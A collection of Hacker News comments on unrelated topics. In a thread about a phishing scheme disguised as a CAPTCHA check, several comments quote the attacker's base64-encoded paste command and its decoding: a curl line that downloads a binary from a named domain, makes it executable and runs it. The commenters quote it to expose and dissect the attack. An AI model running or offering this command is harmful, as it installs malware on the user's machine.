MurphyA/hacker-news huggingface dataset:
by mjb | 2025-10-20 21:39:08+00:00
That's much better results than mine!

I notice a similar 'holographic' effect when coloring titanium a couple weeks back, and experimented with getting them dialed in along the same lines as this video. I didn't have nearly as much success, despite the underlying physics being similar. My guess is that the much lower thermal conductivity of titanium causes a lot more smudging than on stainless, which makes the grating effect less pronounced.

One interesting thing I noted with Ti is that satin finished Ti (media blasted with 500 grit glass media) won't take a color from electrocoloring, but will from MOPA laser coloring. Not nearly as nice as polished Ti, but still there. Given that they are such similar processes (growing a set thickness oxide layer), its somewhat surprising to see different results.

I guess I'm going to have to experiment on some polished 304.
by lvzw | 2025-10-20 21:39:21+00:00
> Phishing emails disguised as support inquiries are getting more sophisticated, too. They read naturally, but something always feels just a little off — the logic doesn’t quite line up, or the tone feels odd.

The phrase "To better prove you are not a robot" used in this attack is a great example. Easy to glance over if you're reading quickly, but a clear red flag.
by ptx | 2025-10-20 21:40:10+00:00
Why is it that the Mozilla Foundation was set up in such a way that it cannot fund the core browser development activity? Other foundations do fund software development for their respective projects, e.g. the FreeBSD Foundation [1] and the Python Software Foundation [2].

[1] https://freebsdfoundation.org/about-us/about-the-foundation/

[2] https://www.python.org/psf/developersinresidence/
by blauditore | 2025-10-20 21:40:40+00:00
Why not just indicate non-printable characters in code review tools? I've always wondered that, regardless of security implications. They are super rare in real code (except line breaks and tabs maybe), so no disruption in most cases.

Also, as notes in other comments, you can't do shady stuff purely with invisible code.

The article seems bit sensationalist to me.
by randomNumber7 | 2025-10-20 21:40:51+00:00
I think the problem is that C/C++ interop in practice sucks because they made pointers annoying to use (for ideological reasons. Pointer == Evil).

It's sad because technically they have amazing C/C++ interop, but using s.th. like SDL2 to write some toy game would be way less pain in C++.

You need to link against C libraries as a compiled system language and you just need a lot of pointers to do anything meaningfull in C.
by jmholla | 2025-10-20 21:40:55+00:00
My standard procedure for copying and pasting commands from a website, is to first run it through `hd` to make sure there's no fuckery with Unicode or escape sequences:

xclip -selection -clipboard -o | hd

From the developer's post, I copied and pasted up to the execution and it was very obvious what the fuckery was as the author found out (xpaste is my paste to stdout alias):

> xpaste | hd 00000000 65 63 68 6f 20 2d 6e 20 59 33 56 79 62 43 41 74 |echo -n Y3VybCAt| 00000010 63 30 77 67 4c 57 38 67 4c 33 52 74 63 43 39 77 |c0wgLW8gL3RtcC9w| 00000020 61 6b 74 74 54 56 56 47 52 56 6c 32 4f 45 46 73 |akttTVVGRVl2OEFs| 00000030 5a 6b 74 53 49 47 68 30 64 48 42 7a 4f 69 38 76 |ZktSIGh0dHBzOi8v| 00000040 64 33 64 33 4c 6d 46 74 59 57 35 68 5a 32 56 75 |d3d3LmFtYW5hZ2Vu| 00000050 59 32 6c 6c 63 79 35 6a 62 32 30 76 59 58 4e 7a |Y2llcy5jb20vYXNz| 00000060 5a 58 52 7a 4c 32 70 7a 4c 32 64 79 5a 57 4e 68 |ZXRzL2pzL2dyZWNh| 00000070 63 48 52 6a 61 47 45 37 49 47 4e 6f 62 57 39 6b |cHRjaGE7IGNobW9k| 00000080 49 43 74 34 49 43 39 30 62 58 41 76 63 47 70 4c |ICt4IC90bXAvcGpL| 00000090 62 55 31 56 52 6b 56 5a 64 6a 68 42 62 47 5a 4c |bU1VRkVZdjhBbGZL| 000000a0 55 6a 73 67 4c 33 52 74 63 43 39 77 61 6b 74 74 |UjsgL3RtcC9waktt| 000000b0 54 56 56 47 52 56 6c 32 4f 45 46 73 5a 6b 74 53 |TVVGRVl2OEFsZktS| 000000c0 20 7c 20 62 61 73 65 36 34 20 2d 64 | | base64 -d| 000000cc > echo -n Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHBzOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRjaGE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakttTVVGRVl2OEFsZktS | base64 -d curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR
by gk1 | 2025-10-20 21:41:14+00:00
They don’t need “many” people to fall for it. It’s a numbers game. Spam the message to 10k emails and even a small conversion rate can be profitable.

Also, I’d bet the average site owner does not know what a terminal is. Think small business owners. Plus the thought of losing revenue because their site is unusable injects a level of urgency which means they’re less likely to stop and think about what they’re doing.
by lunias | 2025-10-20 21:41:21+00:00
> Normal jobs don't involve any of them. Presumably we're talking about the norm.

Agreed. It's context dependent. I don't like the term NSFW because I find it non-specific and subjective. F-Droid's definition seems to be the widely accepted definition which doesn't appear to include religious texts, or games, but does include porn, graphic violence, etc.

> I will not take the easy bait.

;). Presumably because you caught my gist that even commonly used, less ambiguous options are still inadequate.
by cogman10 | 2025-10-20 21:41:22+00:00
We never had that problem with our cats. They left the garden alone for the most part.

The one thing I'll say about the stinky cat, it keeps rodents away better than anything else. The cats at my parents' house eventually died off and when that happened the mice started invading the house.

Once they bought some more cats, the mouse problem went away again.
by labrador | 2025-10-20 21:41:37+00:00
F. Scott Fitzgerald famously said in The Great Gatsby “Let me tell you about the very rich. They are different from you and me."

However Peter Thiel was not born rich, which makes it safe for me to say he's just like several of my friends who've lost their minds on psychedelics. I've enjoyed them but the the trick is to know when to stop. As Ram Dass said "When you get the message, hang up the phone."

Peter Thiel-Backed Psychedelics Company Gets FDA Approval To Study Ketamine Therapy

https://www.forbes.com/sites/willyakowicz/2022/01/12/peter-t...
by YZF | 2025-10-20 21:41:40+00:00
Wasn't the US giving money it doesn't have though?

I also read the headlines that say millions of deaths in Africa due to starvation and HIV... Do we have some support for that in e.g. excess deaths statistics since the funding was cancelled?

When searching I see one headline say 74k excess deaths in Africa by 2030 and another headline say 500k deaths in South Africa alone in the next 10 years. Which one is right?

If giving more money to Africa helped saves more lives, should the USA do it? I.e. should it have tripled the aid instead of cancelling it. Should it raise taxes to give Africa more aid? What is a non-emotional/rational way to think about foreign aid? What part of the aid is getting to where it's really needed? How efficient are the organizations delivering it?

One way to think about foreign aid is that it buys influence. I think this is why the US does this. But countries like South Africa are openly confrontational with the USA despite the aid they receive and work against US interests. If South Africa e.g. prefers to align with China and Russia (e.g. in BRICS) shouldn't China and Russia take on this aid?

What about the rest of the world?

I think the observation that "Silicon Valley" is starving children in Africa is at least inaccurate. I'm sure there are rich people in SV who are trying to do more. It's not one uniform group. It's also not clear what is actually the best thing to do.
by some_furry | 2025-10-20 21:42:00+00:00
> I want my nerdy hacker people back, working on stuff that makes the world better through the use of technology.

There are still people like that out there. They just haven't been captured by venture capital.

It's a shame that the Money has decided that authoritarianism is the way to go, but hopefully the pendulum swings back in our lifetime.
by neilv | 2025-10-20 21:42:10+00:00
I came here to paste that quote. It sounds like a disaster of poor HCI around not-ready-for-prime-time tech implementation. That's not even a great PoC demo to get funding, much less deploy into production.

Maybe they were emboldened because many companies still can't even do decades-old UPC barcode scanner self-checkouts well?

The closest self-checkout to working reasonably well I see regularly would be at Whole Foods Market, at least just using the low-tech UPC and scale. I only have a few nits about it.

(Though, within the last week, the usual duct-taped-on off-the-shelf hand scanner apparently saw the wrong barcode on the front of the product label (yes, some brand did that), which wedged the station, and the employee who came over seemed like they might think I was trying to defraud the store. I've coded for a few of those scanners before, and they provide a mix of automagical easy high-value behavior and major pitfalls. There are a few kinds of interfaces, and a large fleet of settings, and you really have to wrestle the device to the ground, to make every scenario bulletproof. If the integrator wasn't careful, for some of them, you can even reprogram or brick them with an in-band barcode, and disabling this feature is buried among the numerous settings.)

The worst self-checkout I'm currently exposed to is the dumpster-fire of a major chain, which goes out of its way to fill the UI with garbage, and then doesn't do even basic sensing and state flow right. They really need to look at WFM design, and then go even further in that direction, and get the state model right. While making sure that no one's bonus is tied to garbage and dark patterns on the screen.

(Also, for return customers who nope right out of the self-checkout headache, and go to the human checkout, or get directed to it by the attendant who's glaring at all the self-checkouts, they need clean their CC terminal keypad that's visibly caked with crud, like maybe it hasn't been disinfected in a year. Especially since they mandate repeated use of it when it should default to working with just a card tap/swipe, for a high-traffic location for many sick people.)
by matharmin | 2025-10-20 21:42:10+00:00
The project looks great! Object storage is often so much better in terms of cost efficiency than a database on EBS. It's often 10-20x more expensive for EBS after taking into account that you need 3x replicas for a typical MongoDB deployment, and need to over-provision the storage. And being able to scale compute independently from storage is great.

The biggest things I'm missing from the docs (checked the github page and the site) is seeing what MongoDB features are supported or not. I've worked with Azure CosmosDB before, and even though it claims MongoDB compatibility, it has many compatibility issues as soon as you have more than a basic CRUD application. Some examples include proper ChangeStream support, partial index support, multi-key index support, set of supported aggregation pipeline operations, tailable cursor support, snapshot queries.

Another thing that's not clear: What does multi-master/multi-write mean in practice? What happens if you write to the same data at the same time on different nodes?
by Veserv | 2025-10-20 21:42:16+00:00
It absolutely matters how large your storage use is. Terabytes of storage is easily manageable on even basic consumer hardware. Terabytes of storage costs just hundreds of dollars if you are not paying the cloud tax.

If you got resiliency and uptime for a extra hundred dollars a year, that would be a no-brainer for any commercial operation. The byzantine kafkaesque horror of the cloud results in trivial problems and costs ballooning into nearly insurmountable and cost-ineffective obstacles.

These are not hard or costly problems or difficult scales. They have been made hard and costly and difficult.
by fujigawa | 2025-10-20 21:42:23+00:00
If we follow the same pattern, iOS 27 and corresponding releases will be completely flat and look like Mac OS System 7. Chicago font wants to live another day.

Windows 8 got some serious hate back in the day, it had some sound ideas that were implemented poorly, but no one could deny it was lightweight. It had the smallest memory footprint of all the modern Windowses IIRC.
by dmurray | 2025-10-20 21:42:44+00:00
The command helpfully already tells you where you can find a base64 decoder: it's in /usr/bin/base64.

Assuming you already have a ChatGPT window handy, which many people do these days, I don't think it's any worse to paste it there and ask the LLM to decode it, and avoid the risk that you copy and pasted the "| bash" as well.
by ssl-3 | 2025-10-20 21:43:11+00:00
I definitely understand you very well, and I agree.

Please allow me to restate my intent: With enough angular resolution (our eyes have limits), and enough brightness and refresh rate, we can maybe get close to what the perception of watching television once was.

And to clarify: I don't propose completely chasing the beam with OLED, but instead emulation of the CRT that includes the appearance of interlaced video (which itself can be completely full of fields of uncorrelated as-it-happens scans of the continuously-changing reality in front of the analog camera that captured it), and the scan lines that resulted, and the persistence and softness that allowed it to be perceived as well as it once was.

In this way, panning in an unmodified Mr Rogers video works with a [future] modern display, sports games and rocket launches are perceived largely as they were instead of a series of frames, and so on. This process doesn't have to be perfect; it just needs to be close enough that it is looks the ~same (largely no better, nor any worse) as it once did.

My completely hypothetical method may differ rather drastically in approach from what you wish to accomplish, and that difference is something that I think is perfectly OK.

These approaches aren't exclusive of eachother. There can be more than one.

And it seems that both of our approaches rely on the rote preservation of existing (interlaced, analog, real-time!) video, for once that information is discarded in favor of something that seems good today, future improvements (whether in display technology or in deinterlacing/scaler technology, or both) for any particular video become largely impossible.

In order to reach either desired result, we really need the interlaced analog source (as close as possible), and not the dodgy transfers that are so common today.
by gokayburuc-dev | 2025-10-20 21:43:15+00:00
As artificial intelligence has evolved, so have hacking techniques. Attacks using techniques like deepfake and phishing have become increasingly prevalent.Multi-layered attacks began to be created.While they impersonate companies in the first layer, they bypass security systems (2FA etc.) in the second layer.

Perhaps those working in the field of artificial intelligence can also make progress in detecting such attacks with artificial intelligence and blocking them before they reach the end user.
by dragonwriter | 2025-10-20 21:43:33+00:00
> Seems pretty unintuitive to me that Unicode would allow someone to serialize normal code as invisible characters

If you have a text encoding with two invisible characters, you can trivially encode anything that you could represent in a digital computer in it, in binary, by treating one as a zero and the other as a one. More invisible characters and some opinionated assumptions about what you are allows denser representation than one bit per character.

Of course, the trick in any case is you have to also slip in the call to decode and execute the invisible code, and unless you have a very unusual language, that’s going to be very visible.
by asveikau | 2025-10-20 21:43:57+00:00
> use nonblocking io and an event polling mechanism

Not incompatible with what I said.

> with a timeout to keep an eye on an exit flag

This is the stupid part. You will burn CPU cycles waking up spuriously for timeouts with no work to do. Setting the flag won't wake up the event loop until the timeout hits, adding pointless delay.

You want to make signalling an exit to actually wake up your event loop. Then you also don't need a timeout.

I.e. you should make your "ask to exit" code use the same wakeup mechanism as the work queue, which is what I said at the beginning. Not burning CPU polling a volatile bool in memory on the side.
by dingnuts | 2025-10-20 21:44:14+00:00
It's a bad idea to try to execute a malicious string in any environment, but the payload is just base64 text and it's safe to decode if you understand how to use the command line.

Look, I just deciphered it in Termux on my phone:

~ $ echo "Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHBzOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRjaGE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakttTVVGRVl2OEFsZktS" | base64 -d

curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR~ $

Did ChatGPT do ANYTHING useful in this blog? No, but it probably cost more than it did when I ran base64 -d on my phone lol and if you want updoots on the Orange Site you had better mention LLMs

If I was more paranoid I could've used someone else's computer to decipher the text but I wanted to make a point.
by wpm | 2025-10-20 21:44:26+00:00
The other problem is that the effect is so subtle everywhere until it gets in your way. Even on a system with actual binocular screens, the Liquid Glass effect is barely noticeable and has been since visionOS 1.0.

It's like a horrible compromise between the indulgences of early 10.2-era Aqua and the worst flat boring low contrast bullshit "mimimmumunlism" crap from iOS 7-18 and macOS from Big Sur onwards.
by ajxs | 2025-10-20 21:44:36+00:00
Thank you for finding this! Depili does great work! In another comment I mentioned that I've been working on the Casio CZ-101, which uses the NEC μPD7810 processor. Depili created a processor spec for the μCOM-87 architecture, which I've continued working on in this PR: https://github.com/NationalSecurityAgency/ghidra/pull/7930
by OutOfHere | 2025-10-20 21:44:48+00:00
The main danger is not Russia and China - it is us. Why? Because we actively stop big tech from developing and deploying cybersecurity solutions to protect billions of people. Why? Because we want us and Israel to be able to hack their systems, just not Russia and China. We want it both ways, to develop the most defensible and the most vulnerable system, and this is why we can never win. This self-incompatible ask will be our collective undoing.

Also, if you think the US was a proper democracy, I have news for you - it wasn't. It has been an alternating two-party system that prevents the system from evolving beyond its current state. In a real democracy, information from the voter would be maximized, the first result of which would be to transform it beyond a rigid two-party system. The voting system would not be first-past-the-post. Superior forms of voting such as Ranked Choice and Range Voting would not be banned as they are in numerous red states; they would be welcomed. People would not be denied the right to vote. Gerrymandering wouldn't be a thing.

Wake up and see the truth for the darkness it is.
by EbEsacAig | 2025-10-20 21:44:50+00:00
I claim that this is a solved problem, without rseq.

1. Any given thread in an application waits for "events of interest", then performs computations based on those events (= keeps the CPU busy for a while), then goes back to waiting for more events.

2. There are generally two kinds of events: one kind that you can wait for, possibly indefinitely, with ppoll/pselect (those cover signals, file descriptors, and timing), and another kind you can wait for, possibly indefinitely, with pthread_cond_wait (or even pthread_cond_timedwait). pthread_cond_wait cannot be interrupted by signals (by design), and that's a good thing. The first kind is generally used for interacting with the environment through non-blocking syscalls (you can even notice SIGCHLD when a child process exits, and reap it with a WNOHANG waitpid()), while the second kind is used for distributing computation between cores.

3. The two kinds of waits are generally not employed together in any given thread, because while you're blocked on one kind, you cannot wait for the other kind (e.g., while you're blocked in ppoll(), you can't be blocked in pthread_cond_wait()). Put differently, you design your application in the first place such that threads wait like this.

4. The fact that pthread_mutex_lock in particular is not interruptible by signals (by design!) is no problem, because no thread should block on any mutex indefinitely (or more strongly: mutex contention should be low).

5. In a thread that waits for events via ppoll/pselect, use a signal to indicate a need to stop. If the CPU processing done in this kind of thread may take long, break it up into chunks, and check sigpending() every once in a while, during the CPU-intensive computation (or even unblock the signal for the thread every once in a while, to let the signal be delivered -- you can act on that too).

6. In a thread that waits for events via pthread_cond_wait, relax the logical condition "C" that is associated with the condvar to ((C) || stop), where "stop" is a new variable protected by the mutex that is associated with the condvar. If the CPU processing done in this kind of thread may take long, then break it up into chunks, and check "stop" (bracketed by acquiring and releasing the mutex) every once in a while.

7. For interrupting the ppoll/pselect type of thread, send it a signal with pthread_kill (EDIT: or send it a single byte via a pipe that the thread monitors just for this purpose; but then the periodic checking in that thread has to use a nonblocking read or a distinct ppoll, for that pipe). For interrupting the other type of thread, grab the mutex, set "stop", call pthread_cond_signal or pthread_cond_broadcast, then release the mutex.

8. (edited to add:) with both kinds, you can hierarchically reap the stopped threads with pthread_join.
by walkabout | 2025-10-20 21:44:57+00:00
Oh, some ideas can be crazier than others—I just didn’t get why a misinterpretation is necessarily evidence that a belief based on the Bible is crazier than one that’s not a misinterpretation. I can easily imagine misreadings or misinterpretations being a lot less crazy than a more-correct interpretation of something like that.
by ortusdux | 2025-10-20 21:45:00+00:00
"If you were a ‘product person’ at IBM or Xerox: so you make a better copier or better computer. So what? When you have a monopoly market-share, the company’s not any more successful. So the people who make the company more successful are the sales and marketing people, and they end up running the companies. And the ‘product people’ get run out of the decision-making forums.

The companies forget how to make great products. The product sensibility and product genius that brought them to this monopolistic position gets rotted out by people running these companies who have no conception of a good product vs. a bad product. They have no conception of the craftsmanship that’s required to take a good idea and turn it into a good product. And they really have no feeling in their hearts about wanting to help the costumers.”

- Steve Jobs - https://en.wikipedia.org/wiki/Steve_Jobs:_The_Lost_Interview
by Narciss | 2025-10-20 21:45:09+00:00
I love making AI music.

Sometimes I freestyle rap over instrumentals that I’ve created with AI, record myself and then use that recording to create an AI song.

Some of the songs I really love, like this one:

https://suno.com/s/o4oyu5Eq7nMdQyzK

There’d be more to say - but of course, creating songs without regard to their quality or your input in them is slop that shouldn’t be shared.